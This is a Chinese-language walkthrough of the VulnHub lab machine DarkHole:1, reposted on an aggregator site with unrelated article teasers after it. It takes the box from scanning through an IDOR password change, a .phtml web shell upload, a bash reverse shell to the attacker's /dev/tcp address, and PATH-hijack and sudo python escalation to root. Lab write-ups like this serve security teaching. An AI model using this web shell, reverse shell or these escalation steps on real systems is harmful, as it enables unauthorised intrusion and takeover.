[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DarkHole:1 通关详解 (附靶机搭建教程)

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、靶场搭建
    • 1. 靶场描述
    • 2. 下载靶机环境
    • 3. 靶场搭建
  • 二、渗透靶场
    • 1. 确定靶机IP
    • 2. 探测靶场开放端口及对应服务
    • 3. 扫描网络目录结构
    • 4. 水平越权利用
    • 5. 文件上传漏洞GETSHELL
    • 6. 提权
      • 6.1 环境变量劫持提权
      • 6.2 sudo提权
  • 相关资源

一、靶场搭建

1. 靶场描述

Difficulty: Easy
It's a box for beginners, but not easy, Good Luck
Hint: Don't waste your time For Brute-Force

在描述中作者提示该靶机不需要使用暴力破解。

2. 下载靶机环境

靶场源地址点击跳转,点击图中标注处下载靶场源文件。

image.png

下载完成的文件如下:

image.png

一般从网上下载的文件,可以使用检验下载文件的检验码,防止下载的文件被篡改或者部分缺失.


# windwos 命令
Get-FileHash <filePath> -Algorithm MD5
# linux
md5sum filepath

3. 靶场搭建

解压下载的zip压缩文件之后,使用VMware打开对应的ovf文件创建虚拟机。创建完虚拟机之后,修改对应虚拟机的网路模式为NAT模式,然后点击启动就行。

image.png
image.png
image.png
image.png

image.png

二、渗透靶场

1. 确定靶机IP

确定靶机IP的步骤:

  1. 通过nmap进行靶机目标网段(192.168.37.22/24)的存活主机探测。
  2. nmap显示出存活主机之后,根据nmap显示的存活主机的主机名结合已知设备ip排除确定靶机。如果靶机环境设置为nat模式确定靶机ip会比较容易。
# 扫描网段存活主机命令
nmap -sn 192.168.37.22/24

image.png

通过排除网关、kali虚拟机、物理主机ip之后,确定靶机IP为192.168.37.132.

2. 探测靶场开放端口及对应服务

探测端口开放和对应开放端口服务识别,一般使用nmap进行,因为nmap指纹识别比较准确,并且指纹库也比较全。

# 探测端口开放及服务识别命令
nmap -Ap 1-65535 192.168.37.132

结果图:
image.png

可以确认主机开放了8022端口,分别对应http服务和ssh服务,以及http后台使用的PHP作为后台语言。到这里直接通过浏览器访问对应web服务。

image.png

3. 扫描网络目录结构

通过dirsearch扫描对应网站的目录结构,看是否能在其中找到什么敏感文件或目录。

# 扫描目录结构命令
sudo dirsearch -u http://192.168.37.132 -x 404

image.png

扫描出的目录之后可以一一进行访问,存在/upload/推测是文件上传的目录,推测网站中存在文件上传的地方。

4. 水平越权利用

找到系统的登录页面, 随便输入账号和密码进行登录,查看对应的请求参数,使用sqlmap试试是否存在sql注入漏洞。

image.png

image.png

# 使用sqlmap测试是否存在sql注入的命令
sqlmap -u " http://192.168.37.132/login.php" --data="username=admin&password=admin"

发现登录的两个参数并不存在sql注入点。

image.png

发现register.php页面可以直接注册账号,先注册一个账号,看看登录之后有没有什么利用点。

image.png

登录之后的页面,察觉到当前新注册用户的id为2,推测系统存在自带的账号的id为1,尝试将url上的id改为1看是否可以进行水平越权,获取id=1的用户的界面。

image.png

image.png

发现网站已经做了这种方式水平越权的检验。接下尝试使用页面上的修改密码,查看请求中包含两个参数passwordid。尝试修改请求包内容设置id=1,看是否支持可以通过篡改请求包的内容,修改id=1用户的密码。发现修改密码成功。

image.png

image.png

image.png

image.png

5. 文件上传漏洞GETSHELL

成功修改id=1的密码,我们知道系统自带用户的密码,现在只需要尝试常见的用户名进行登录就行(也可以在注册页面进行尝试,因为用户名如果存在,注册会失败)。通过上述方法测试出来系统自带的用户的用户名为admin.

image.png

发现存在文件上传的地方,尝试上传文件,发现做了文件检验,但也没有完全做。限制上传php后缀的文件,但我修改成pHp后缀就能上传,并不是只允许上传jpg,png,gif文件。并且发现这里上传的文件就保存之前扫描目录结构的/upload目录下。

image.png
image.png

上传过程中发现phtml文件可以上传成功,可以利用这种类型文件执行php代码。phtml文件可以同时包含html文件和php代码。新建一个test1.phtml上传。

# 代码内容
<?php
echo $_GET["x"]; 
system($_GET["x"]); //在主机上执行对应x参数的命令
?>

获取反向shell

# kali开启反向shell监听
nc -lvp 8888
# x参数设置为
bash -c "bash -i >& /dev/tcp/192.168.37.22/8888 0>&1"

因为上述命令包含&这和http中url中定义get请求参数的符号冲突,需要进行http的urlencode.可以访问这个网站点击跳转进行编码.将对应x参数设置编码后的bash命令,成功获取反弹shell。

image.png

image.png

6. 提权

获取反弹shell之后执行下面这段python代码创建一个交互性式的shell伪终端。

python3 -c 'import pty; pty.spawn("/bin/bash")'

拿到对应shell权限之后,一般有数据库的web项目,可以去查看数据库的账号和密码,可能会多账户密码相同的情况。这个项目中账号和密码存放在/var/www/html/config/database.php中。发现数据库账号和密码都为john

image.png

查看/home目录下存在john用户,可以尝试使用数据库密码进行切换用户。但是登录失败。

image.png

尝试使用SUID文件进行提权

# 寻找具有SUID标志的文件
find / -perm -u=s 2>>/dev/null

image.png

发现在/home/john/toto有一个具有suid标志的文件,查看文件的所有者,并且执行它,分析它的逻辑。

image.png

image.png

发现这个命令的执行逻辑是查看john的用户信息,推测里面执行了命令id john.尝试使用环境环境变量劫持提权。

6.1 环境变量劫持提权

环境变量劫持提权的命令

echo "/bin/bash" > /tmp/id
chmod 777 /tmp/id
export PATH=/tmp/:$PATH
# 调用命令
/home/john/toto

image.png

成功将shell的权限升级为john,在john的家目录下发现密码root123

image.png

6.2 sudo提权

发现密码之后直接使用sudo -l看是否有可利用的点,发现john可以以root身份执行/usr/bin/python3 /home/john/file.py的命令。

image.png

查看file.py文件的内容之后,发现john可以直接进行修改,接下我们修改一下file.py,在里面添加一些创建新终端的代码,以获得root身份。

image.png

echo "import os;os.system('/bin/bash')" > /home/john/file.py
# 提权
sudo /usr/bin/python3 /home/john/file.py

image.png

成功获取到root身份shell,获取到最终flag.

image.png

相关资源

1、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-1 通关详解 (附靶机搭建教程)
2、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-2 通关详解 (附靶机搭建教程)
3、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-3 通关详解 (附靶机搭建教程)
4、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-4 通关详解 (附靶机搭建教程)
5、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-5 通关详解 (附靶机搭建教程)
6、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-6 通关详解 (附靶机搭建教程)
7、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-7 通关详解 (附靶机搭建教程)
8、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-8 通关详解 (附靶机搭建教程)
9、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-9 通关详解 (附靶机搭建教程)
10、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 Corrosion1 通关详解 (附靶机搭建教程)
11、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 Corrosion2 通关详解 (附靶机搭建教程)
12、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DarkHole:1 通关详解 (附靶机搭建教程)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/59390.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

成都睿明智科技有限公司共赴抖音电商蓝海

在这个短视频风起云涌的时代&#xff0c;抖音作为现象级的社交媒体平台&#xff0c;不仅改变了人们的娱乐方式&#xff0c;更悄然间重塑了电商行业的格局。在这片充满机遇与挑战的蓝海中&#xff0c;成都睿明智科技有限公司凭借其敏锐的市场洞察力和专业的服务能力&#xff0c;…

Centos 网络接口打vlan标签

Centos 网络接口打vlan标签 本次使用给bond打vlan标签&#xff0c;其实其他普通接口也一样 Centos创建bond前需要关闭NetworkManager [root192 network-scripts]# systemctl disable NetworkManager --now Removed symlink /etc/systemd/system/multi-user.target.wants/Netwo…

github - ssh 配置 key、下载repo

1、设置位置 https://github.com/settings/keys 2、生成 Key ssh-keygen -t rsa -b 4096 -C "xx@x.com" 成功后,查看 cat ~/.ssh/id_rsa.pub 得到数据类似: ssh-rsa AAAAB3NzaC1yc2EA...4thQm4FKtB/c= xx3、下载代码 下载方式,选择 ssh,但使用 git clone 下…

ElMessageBox 内容自定义

1. ElmessageBox弹出框显示内容设置字体颜色&#xff1a; 代码内容&#xff1a; const saveToGroup (row: Customers) > {ElMessageBox.confirm(h("i",{ style: "color: #409EFF" },"未建档客户公司无法创建线索/商机/礼品申请。"),"…

基于STM32设计的物联网火灾感知系统(259)

文章目录 一、前言1.1 项目介绍【1】项目开发背景【2】设计实现的功能1. 环境温湿度监测2. 火焰检测3. 烟雾浓度监测4. 声光报警5. 数据上传至云端6. Android手机应用交互7. OLED显示屏信息展示【3】项目硬件模块组成1. 主控芯片2. 温湿度传感器3. 火焰传感器4. 烟雾传感器5. 蜂…

Go语言与数据库操作:从连接到CRUD

Go语言(Golang)以其高效性和并发性广受欢迎,而与数据库的交互则是任何应用程序不可或缺的一部分。本文将介绍Go语言如何与数据库进行操作,包括连接、基本的增删改查(CRUD)操作,以及常用的数据库库。 一、Go语言的数据库操作库 在Go语言中,进行数据库操作通常有两种方…

pdmaner连接sqlexpress

别以为sqlserver默认的端口总是1433 案例 有台sqlserver2008 express服务器&#xff0c;刚安装&#xff0c;支持混合模式登录&#xff0c;其它什么配置也没改。 先看用ADO连接 这说明&#xff1a; 案例中sqlserver端口不是1433 &#xff01;&#xff01;&#xff01;ADO连接…

【青牛科技】GC4931P替代A4931/Allegro在水泵、筋膜枪、吸尘器和电动工具中的应用

随着电动设备技术的不断发展&#xff0c;对电机驱动控制器的需求也在不断增加。GC4931P作为一种新型的电机驱动控制器&#xff0c;逐渐被视为A4931/Allegro的替代品。本文将探讨GC4931P在水泵、筋膜枪、吸尘器和电动工具等设备中的应用优势及其特点。 1. GC4931P的技术优势 G…

使用MongoDB Atlas构建无服务器数据库

&#x1f493; 博客主页&#xff1a;瑕疵的CSDN主页 &#x1f4dd; Gitee主页&#xff1a;瑕疵的gitee主页 ⏩ 文章专栏&#xff1a;《热点资讯》 使用MongoDB Atlas构建无服务器数据库 MongoDB Atlas 简介 注册账户 创建集群 配置网络 设置数据库用户 连接数据库 设计文档模式…

MySQL的sql练习,适合初学者

通过两张表&#xff0c;emp&#xff0c;dept 来演示mysql的sql语句 dept表 CREATE TABLE dept (id INT AUTO_INCREMENT PRIMARY KEY,name VARCHAR(255) NOT NULL );emp表 CREATE TABLE emp (id INT AUTO_INCREMENT PRIMARY KEY,name VARCHAR(255) NOT NULL,age INT,sex VARCH…

k8s 上如何跑 Dolphins 模型

接着上一篇的介绍&#xff0c;这一篇就来跑跑 Dolphins 模型&#xff0c;本篇会记录&#xff0c;跑模型常见的阬点。 1 在 k8s 上创建 pod 将外部数据挂载在 pod 里&#xff0c;并申请 gpu 资源。同时修改代码里对应的引入数据的路径 # dolphins.yaml apiVersion: v1 kind: …

Maven(27)如何使用Maven进行依赖管理?

Maven是一个强大的项目管理工具&#xff0c;它通过pom.xml文件来管理项目的依赖、构建和部署。以下是如何使用Maven进行依赖管理的详细步骤&#xff0c;包括代码示例&#xff1a; 步骤 1: 创建或打开pom.xml 在项目的根目录下&#xff0c;找到或创建pom.xml文件。这是Maven项…

MySQL数据表导入到clickhouse数据库中

前言&#xff1a;研发需求&#xff0c;需要把MySQL数据导入到clickhouse中来测试计算性能是否提升。 从MySQL导入到clickhouse需要两个工具 NavicatDBeaver 导出MySQL数据 连接上MySQL>选择数据库>选择数据表 选择csv格式 导出数据 下面全部默认即可 开始导出 …

Spring Boot 与 Vue 共筑二手书籍交易卓越平台

作者介绍&#xff1a;✌️大厂全栈码农|毕设实战开发&#xff0c;专注于大学生项目实战开发、讲解和毕业答疑辅导。 &#x1f345;获取源码联系方式请查看文末&#x1f345; 推荐订阅精彩专栏 &#x1f447;&#x1f3fb; 避免错过下次更新 Springboot项目精选实战案例 更多项目…

零基础Java第十三期:继承与多态(一)

目录 一、继承 1.1. 继承的目的 1.2. 继承的概念 1.3. 继承的语法 1.4. 父类的访问 1.5. 继承中的重载与重写 1.6. 子类的构造方法 1.7. 再谈初始化 一、继承 1.1. 继承的目的 我们来定义一个Dog和Cat的类&#xff1a; public class Dog {public int age;public Strin…

spring.factories文件的作用

spring.factories文件是Spring Boot中的一个核心配置文件,它主要用于实现Spring Boot的自动配置机制和框架的扩展机制。该文件通过键值对的方式指定了一系列与Spring Boot启动和运行相关的类,使得Spring Boot能够在启动时自动扫描并加载这些配置,从而实现自动化配置和框架扩…

ES + SkyWalking + Spring Boot:日志分析与服务监控(三)

目录 一、搭建SkyWalking 1.1 版本选择 1.2 下载安装 1.3 配置启动 1.4 SkyWalking UI介绍 二、Springboot项目使用 2.1 Agent下载 2.2 Agent配置skywalking oap地址 2.3 IDEA配置Agent地址 2.4 生成的ES索引介绍 三、在kibana上查看日志 四、问题和解决 3.1 日志…

MySQL45讲 第十三讲 为什么表数据删掉一半,表文件大小不变?

文章目录 MySQL45讲 第十二讲 为什么表数据删掉一半&#xff0c;表文件大小不变&#xff1f;一、引言二、InnoDB 表数据存储方式三、数据删除流程及表空间未回收原因四、重建表以回收表空间五、Online 与 inplace 概念区别六、总结 MySQL45讲 第十二讲 为什么表数据删掉一半&am…

2024年前三季度币安、OKX等五大交易所上币表现分析

随着加密市场竞争的加剧&#xff0c;头部交易所逐渐在上币策略、代币选择、交易活跃度等方面采取了不同的应对策略。Animoca Digital Research近期发布的一份报告&#xff0c;通过对币安、OKX、Bitget、KuCoin和Bybit五大交易所2024年前三季度的上币情况进行了详细分析。本文将…

docker镜像仓库常用命令

docker镜像仓库常用命令 docker logindocker logoutdocker pulldocker pushdocker searchdocker imagesdocker image inspectdocker tagdocker rmidocker image prune docker login 语法: docker login [options] [server] 功能&#xff1a;登录到一个存放docker镜像的仓库&am…